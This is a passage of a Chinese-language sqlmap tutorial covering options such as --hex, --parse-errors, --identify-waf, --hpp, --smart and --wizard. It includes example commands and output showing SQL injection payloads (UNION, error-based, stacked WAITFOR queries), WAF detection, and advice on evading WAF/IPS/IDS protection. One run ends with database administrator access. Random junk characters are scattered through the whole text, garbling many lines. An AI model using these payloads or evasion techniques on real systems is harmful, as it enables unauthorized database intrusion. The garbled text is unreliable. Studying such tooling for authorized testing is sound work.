& b+ r: T/ s% V) h& L" ]忽略session文件保存的查询,重新查询。) M$ h4 m3 @, S' l7 e7 _
使用DBMS的hex函数1 d) R2 U3 n4 a A- r |' v$ h+ \
0 ~- ~6 ^3 `9 L' I$ n) e2 F
参数:--hex ; h& U }; c' G% c7 t7 s8 Z6 B* m. X1 a* ^7 |* F! B( q
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免: , P2 o' ^3 s r2 i9 ] . U' ]0 ^: Q9 j针对PostgreSQL例子:9 e4 _% a* W6 x1 x' U/ k
! W* o4 G; g! j+ S
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors! d( t" a$ n" c+ E5 ~: H
, u0 s; R# O* J2 O; P- {[...] * Y' w, b" x7 m& d[xx:xx:14] [INFO] fetching banner1 k/ @$ Q; I& O8 D
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)0 r3 u$ U% F6 h1 ^6 E
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>' ; W e8 d. H8 q5 r, B! T) T[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by2 G2 ?. `0 Y2 _* q) Q
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2 + a3 Y3 N" ~6 l0 h1 X9 [[...] 9 e; V( i q9 Q+ W" g; C$ ]0 T3 q0 V' @/ a6 q2 k: k% Y' ~
自定义输出的路径 ( S6 m3 u' j, z8 S x6 s4 Z: H/ D2 w- ]4 y
参数:--output-dir 1 |1 |- P# l. J4 z4 i) U* p6 q7 i8 m+ U: a
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp , i3 w; ?: `. Z7 Z$ G9 ^- _/ d从响应中获取DBMS的错误信息0 b" [$ \' ~0 `/ U& Y& U+ M
; X& ^) j, ^6 `; x" ~
参数:--parse-errors ) ~# c2 ?1 V/ C5 I! X( u- n( c! F. \1 j( h' h! B, D) {
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。 ' b. [4 ? P$ }/ [% P7 w ' s/ D5 H- o. O# u# y$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors $ e7 }3 t- Z. L7 a" J[...]" G) ]( @1 A5 }; W0 [
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test- S6 d: U w: b8 e
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) " w* K0 C$ E6 y* M[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list. 4 ]; F l( F0 q<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'3 Y) t5 ^$ L" ~0 d: E
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)4 E' D. m' }4 {: T* D
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.( ?, y5 ]$ \- Z4 a; P
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'$ M9 k' E+ k" M6 {0 R$ t/ O2 h# c% n
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)& g( o* @0 c, l# j
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list. c! o9 w8 F7 a6 v- S3 O<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' 0 w" U, G, t% ^" c2 A[11:12:17] [INFO] target URL appears to have 3 columns in query. c) j2 q2 T2 z2 n" w# `
[...]- w, g4 o& n9 ]8 h: H' N }
8 E r$ f7 y3 f5 Q( z6 S7 {成功SQL注入时警告 4 v* J, c+ j. I, K& D: ~. \: H- K. b S) B4 Q9 D5 _$ U
参数:--alert $ g" X( p5 r# o9 Y4 f" c设定会发的答案1 }2 C) k! v# J7 x# i! `
- c' p- m1 J9 D! V3 C, M参数:--answers, P4 k& Y! ~5 Y8 B' N% E
" ~/ q2 x8 D) B1 j当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子: 0 ?. F" i. ]! m: u: M* z2 k e " s9 Y) I. g2 B+ P3 L' W$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch , l6 I1 j. C2 Z2 \. I" R, G) f[...]5 j& Z! J3 W" {$ ~
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'; d) Y7 m" `& A
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y' W0 b1 u+ U. R1 ~6 w: ^
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N ; `$ J9 q" D: n) m( K! u[...] ' ^; X$ X* F/ d* H9 B' B 2 _- U! V1 m! o: a- M1 L+ u/ V发现SQL注入时发出蜂鸣声 W, H6 Z8 a& G0 y; o
! W- W! @7 e& M! H+ I% o
参数:--beep " I; T3 Z. i+ ^! U# ^+ G# O2 S! N! h7 T N3 v6 |
发现sql注入时,发出蜂鸣声。 - w& g& C/ d9 r) p- |- w启发式检测WAF/IPS/IDS保护 / g/ S- Q4 C" R) m8 v+ q) B" u2 }( h2 p2 t
参数:--check-waf9 f' @3 R" c' q( a! a2 D/ q( L
3 ^3 N+ y5 H/ V
WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试 ( w- j; }0 l1 m2 b % ^+ ]% e6 L) P l- J2 W8 y, o$ \+ b例如:6 N. o* ]# C1 e. N+ L* i4 e6 h
3 e. ?% D" I2 `9 t2 U
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1 0 W1 D" d5 W/ ~( H- O3 N7 P6 ?( g2 z6 S2 c. q ^
如果有保护的话可能返回结果会不同。* Q: K+ V, \- @
清理sqlmap的UDF(s)和表 2 E) v; k x- W; d6 O: k" L : i4 l, Q7 `2 {& ^参数:--cleanup " v; s2 D; L' \# v& u/ }5 l 6 W) y$ i8 {; }0 |( D6 s清除sqlmap注入时产生的udf与表。 1 n$ F% U) H) F- n) U禁用彩色输出9 _$ ?( _1 ]1 g6 O/ ~! {
% Q- s/ h, v) q* s# b# ]7 m: ^. @' a参数:--disable-coloring( ^2 D) Z' I$ }! _* Q" a, O' m
" [+ F7 s/ Q9 L+ T5 P4 G. L: ]sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。 9 R+ R1 X$ V. U3 E3 L8 K8 N. x使用指定的Google结果页面 ' @6 a' O" O7 _$ D" {/ Y( j& X6 }; I9 Z' w% ~) U% B
参数:--gpage 5 A/ b( P* a# c5 U+ o4 y , ^- Z4 p* }8 A* S默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。 8 s' d/ g8 i+ m8 u! g: _& M* |使用HTTP参数污染 % K1 o& Q" l9 Q! R' ^6 l : d" w* v/ |. x0 E9 K6 ]参数:-hpp 0 D( J: ]# U2 U* c5 m2 Q $ h4 u& i, N) @HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。7 l/ n5 A8 ^/ v& z/ S5 J7 |
测试WAF/IPS/IDS保护 ! N% [* U, F8 M6 u) I4 i1 S6 m7 l 3 Q; P* Q; U/ m* F参数:--identify-waf ) D' x3 y# @ ^0 m, Y$ D+ Q" W2 n% t; v t
sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。, f3 C0 \ L" \4 h3 ]
$ a. i" I6 I5 |" }- U4 I
例如对一个受到ModSecurity WAF保护的MySQL例子:$ |% Q& O+ u! \4 Z
! M0 L7 l# [4 c* X+ D/ q$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 32 F# j2 s- V0 F) [9 _
[...]( k& u; t M! T$ i
[xx:xx:23] [INFO] testing connection to the target URL ; K& S9 Z3 }! d d! T/ v f, f[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'/ h: A1 l/ ~! y' v _4 U, u6 j
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection' j* Y+ r" k5 o* V: @
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)' / W5 m z1 l+ Z. E5 z[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)' % M/ r; W" S4 n) U[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'; `9 C1 Q' v3 T* j
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)' / ?6 ^! c+ b* \ b7 d+ d6 U" Y[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'6 n8 `7 Q7 u) M/ Y( I
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'% N' ?% `2 |$ S; M1 W: \: K, k
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'8 A; e6 i3 y6 J: T6 x
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'# }4 P/ z0 V! i" S7 e5 x8 |. K( b
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'1 I- o5 o/ f% {: w6 m! q; ^
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'# @3 p4 o2 ~" v
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)' " K- E9 S- r. t: O; Q/ G[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'5 E2 Y8 x. P, J5 L y
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)' # V$ x' c* I) {[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1' + D8 X2 M* a; Z+ L1 A# C/ I$ h[xx:xx:23] [DEBUG] page not found (404): n* O8 u: O) W$ ~- U, v
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'$ X9 ?/ L) d9 e/ |6 h/ I
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)': ^1 \" r1 ^! { f( Y
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'* {3 }+ \ `5 k. a: {
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)' , \5 W0 j' o1 Y! w9 k[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)' 7 F1 T8 L; V! ?0 V& S[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)' , _, y* U7 |8 f+ S/ N[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')- Z4 Y2 h3 p5 ^& `1 ^" @
[...]! f" L0 H6 S; D* w) D: x4 A5 b# U; n; q
2 q9 u9 s, l" j/ h. ^( ^
模仿智能手机 9 q9 J) p2 L: n4 S/ B, _$ y5 T8 q. o
参数:--mobile/ I" m! o/ ?; l- t# x$ \
. V. [6 v- |& P' p% c( z# S有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。 - X6 B6 r I3 |' R9 b% Z. q' J1 a" F N/ J5 K; H J9 t
例如:" N# H0 \. U5 s2 {0 |
! D" p: s6 K+ s
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile ! e% P8 w/ a) p7 y* ~$ F4 D7 P[...] 9 l6 T" \3 ?6 a3 V2 E% {# b) zwhich smartphone do you want sqlmap to imitate through HTTP User-Agent header? . K/ _ s. F) M) C5 x7 `: |[1] Apple iPhone 4s (default); Z; P' G2 C; h. u+ q2 B$ B& J
[2] BlackBerry 9900/ V; H/ H) K/ ~/ [. l
[3] Google Nexus 7. M( j* B, T- Z- I- ?; {8 v( h' L
[4] HP iPAQ 6365" P/ |. Y/ r8 [! ^* B+ V9 {
[5] HTC Sensation . W+ \4 v; E- j+ k, Y, G[6] Nokia N97 4 D9 k( B! o) N# E5 B[7] Samsung Galaxy S& C# T. I; y7 w
> 1# D5 ^0 g; P& \
[...]' \: H8 t* w' a; Q
8 G2 p1 L" A( H0 r; c0 U% m安全的删除output目录的文件. r5 |$ ^0 j; |" I3 w9 u( B$ b
4 O6 [# O2 y; v6 b# n
参数:--purge-output1 I3 A# Z8 x+ ?5 r V; f
, s3 n, |9 I* {5 k) B8 U- S; L
有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。 7 n% u% T: c4 R3 O! u6 A- c) o1 H- f* k$ e
例如: ' x/ G. H0 B4 F7 W: z5 v8 ]8 u4 e! {" t) Y1 U
$ python sqlmap.py --purge-output -v 3. g$ h' P, f" |) A
[...]8 D' E* H5 o7 T7 f
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...) W4 X2 F0 D3 n- z
[xx:xx:55] [DEBUG] changing file attributes) B0 u5 V; e8 d. ]/ P; W5 k
[xx:xx:55] [DEBUG] writing random data to files8 ^% E& Z2 ?; P
[xx:xx:55] [DEBUG] truncating files : {5 U' s \0 Z4 h[xx:xx:55] [DEBUG] renaming filenames to random values 1 _7 J9 B- w4 L' \) Z3 L7 d: @5 W[xx:xx:55] [DEBUG] renaming directory names to random values : a2 f: F7 ~# t1 p' R7 F[xx:xx:55] [DEBUG] deleting the whole directory tree. Z' V! P' Q# M5 [' R
[...]0 Y" n+ H+ K( e. I9 D8 ^% w. _
' k4 L, t1 X! ?" W. ?3 @, u& t
启发式判断注入 4 G- s. N* U& i4 g' U" a3 z4 v5 a5 m m1 ?, I1 {' t9 M9 }) L
参数:--smart % A& H2 Z" Y. F5 z; @/ r% ?; i k. a7 W i
有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。 3 [, f5 m! q* _4 ^6 g( v8 ] # @. V/ B! h2 n" u, o# h5 N1 M例子:1 W: ]" u# [% Q! c# a% g$ L
. c# Z3 o8 [2 {/ t$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart* q! Z) H N; u7 b0 H
[...] , m+ U( N8 n4 \[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic ( j$ w0 J c* j. T/ U[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic j1 `) r* C, R' p- D q
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable 3 Y- U1 ~. y X* p+ P[xx:xx:14] [INFO] skipping GET parameter 'ca' % r- N+ |2 t9 o, n% a[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic , e( r7 p3 ~, k4 b7 F4 f1 M[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic7 L2 m$ N" e+ {# \0 W8 b, N
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable 3 a9 N7 G2 U( e& {[xx:xx:14] [INFO] skipping GET parameter 'user'! _& b* L. J. g& ~9 P
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic 4 O) S7 Y" G7 M% \7 ?% x[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic 6 W. o' d" e/ r3 b[xx:xx:14] [INFO] GET parameter 'id' is dynamic# X" d' h1 u. ^& _
[xx:xx:14] [WARNING] reflective value(s) found and filtering out ! d9 w8 @; D5 L G4 p( @[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')% k. B4 t' i4 n3 j
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' . L+ |9 V1 N& U. Uheuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y5 D/ z2 ~1 j- S0 A
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y 7 D% S7 a0 k* W# M[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'3 P Q! ~5 n* [% }/ B9 @. ]
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable ! l- j& \: Q6 Y; U, a3 N9 ~[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'. B, S" f! v& t! T, j) c- A/ q
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable / L* E$ V+ }+ B4 v6 a) ~0 n[xx:xx:14] [INFO] testing 'MySQL inline queries' 3 B g$ m6 e% k0 o& j[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'. a( ~& a- H: i( a' O* r7 \
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'6 C. v- c! Z$ H' w4 S9 ~3 Q5 D
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' $ b+ P4 K1 D/ P7 I[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable 2 t8 ?/ B5 R* ]2 m3 b! Y9 `
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'7 I# n6 F+ u& l9 w9 ]
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found- ?/ z0 p1 {* }6 l
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test 7 {' D' E# a, r0 S2 N7 J3 ^' }[xx:xx:24] [INFO] target URL appears to have 3 columns in query . P% k( Q) G5 \, h[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable - k2 q# T* o' X7 c' Q' l* W2 i$ o[...]' w- p/ D, n! q* O. d2 \
! J$ f4 w5 w% J1 A- R4 c
初级用户向导参数 1 Y8 N R9 h7 H* v) W* U7 l7 M1 S6 A$ q4 a
参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。, ^2 y( F! _# \" s
% H4 Q9 t) N' Khttp://sqlmap.org ' G' Z% ]6 X5 x7 ?7 C! T2 E3 @8 r5 n) r0 L! `! `& S* i
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 0 S3 y- z' \( I7 _+ n
starting at 11:25:26, v5 K% x" L) } p5 [4 ]% G9 N
4 N7 [# B0 ?2 }$ b$ a
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1* u8 N. t/ c. ~( R7 a- L) i* S2 ?
POST data (--data) [Enter for None]: ! a) v, I4 n1 [/ y4 a: G& U$ c+ T1 Z
Injection difficulty (--level/--risk). Please choose:' g2 S% U: c. s; [, S
[1] Normal (default) K! _# P2 |- k% @* s( w[2] Medium! Q: y6 u! {$ Q4 l' N8 g
[3] Hard$ _4 Y( _+ q- _
> 14 v8 d; H! N$ W% O* _; B
Enumeration (--banner/--current-user/etc). Please choose: + d& a2 m* k' e, S( |/ Z# t[1] Basic (default)6 E; r5 g. X. P% S0 ^
[2] Smart! K) g9 U$ X. p/ e
[3] All , ~: H% ?% }$ ]: l, \> 1 . R4 m, I% m; Y w, @: w7 p: K& Z/ A, c
sqlmap is running, please wait.. 6 D) ~7 u" h4 e6 L3 E/ [. O ! N4 f k+ I) `2 g dheuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y 9 z3 H; K7 v# v4 g( V, p& ido you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y. a) p# G5 P m% @7 R3 I1 b0 D4 X
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N - w4 C: |+ U" v; \6 ]9 xsqlmap identified the following injection points with a total of 25 HTTP(s) requests: & _% y t! Q& w P8 O, V% w---( K% J% `$ @9 D0 R3 g8 H/ K" q8 }
Place: GET $ {# ~( h! [' X) D3 VParameter: id 0 K9 G0 _ S3 I. j. a ~ Type: boolean-based blind6 f" n/ f+ b, V3 z6 }/ Q3 h3 B
Title: AND boolean-based blind - WHERE or HAVING clause" s* [) t) I* {* i! D. E, `
Payload: id=1 AND 2986=2986 % W0 b* q/ B* k" u/ w6 ~7 S M ; F) w7 U) X. e+ {; S0 L Type: error-based1 ~4 C C9 Z L, S
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause- _9 f! n/ U! C9 o U
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))) 2 k- b2 t$ ^# A: R8 Q- @9 Y( k3 W% @7 K7 T# p6 I0 i* U
Type: UNION query/ Z0 K% h& x4 W/ |9 m: {
Title: Generic UNION query (NULL) - 3 columns / n7 v# v6 A ~; Q Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- ' V: U1 {# Q2 A" ?6 v" o) C6 d0 Q, b
: N0 F# k+ s& J" L8 ^+ b) R' ^3 j
Type: stacked queries & J5 }3 M" `: h0 f- V( V4 j3 n j Title: Microsoft SQL Server/Sybase stacked queries 4 d/ D2 w% E" K. a' C+ T Payload: id=1; WAITFOR DELAY '0:0:5'-- / d: F3 z" i$ X0 W/ C + R! g9 z/ g! k4 O$ h9 w5 i; E P Type: AND/OR time-based blind$ K+ c4 B! X3 n% I9 a
Title: Microsoft SQL Server/Sybase time-based blind) Y b+ s; k5 c5 \8 g4 b4 r: O
Payload: id=1 WAITFOR DELAY '0:0:5'-- 2 M0 Z! { N$ p3 o6 j0 @ , X) A4 H/ w6 X3 a' _- O) x) F Type: inline query) R8 j8 r: z; S$ E; e4 J' \: Z: |
Title: Microsoft SQL Server/Sybase inline queries 4 i/ w) A! |2 S, b Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)) 0 y. m$ P4 v9 k---" X# U0 b2 t" }9 O _2 g0 S7 U- G
web server operating system: Windows XP ; ?" p) S: T5 C+ S1 J, b8 X4 k8 tweb application technology: ASP, Microsoft IIS 5.1% j' H" Z/ ~9 p2 j' N
back-end DBMS operating system: Windows XP Service Pack 2 : y6 f4 u B9 q3 j* }9 f4 ?back-end DBMS: Microsoft SQL Server 20059 X/ X) ^, |0 V* R/ i5 X2 ]5 B
banner: * K- @0 @4 n y( C5 q--- 5 V6 e+ K- ^9 z; ZMicrosoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 4 ?0 ^ n, x. r1 F; n7 _
Oct 14 2005 00:33:37 : b. }8 z: F3 v# V) p
Copyright (c) 1988-2005 Microsoft Corporation( J; y) f6 d, ]0 E$ {) c' M
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)) e9 p* @, D5 L7 g; o
--- , h" M5 h8 N1 l" A( J' |7 wcurrent user: 'sa'; W% J* Z% J- ~" F
current database: 'testdb' , L9 p2 {, F" x4 P* W3 f- Acurrent user is DBA: True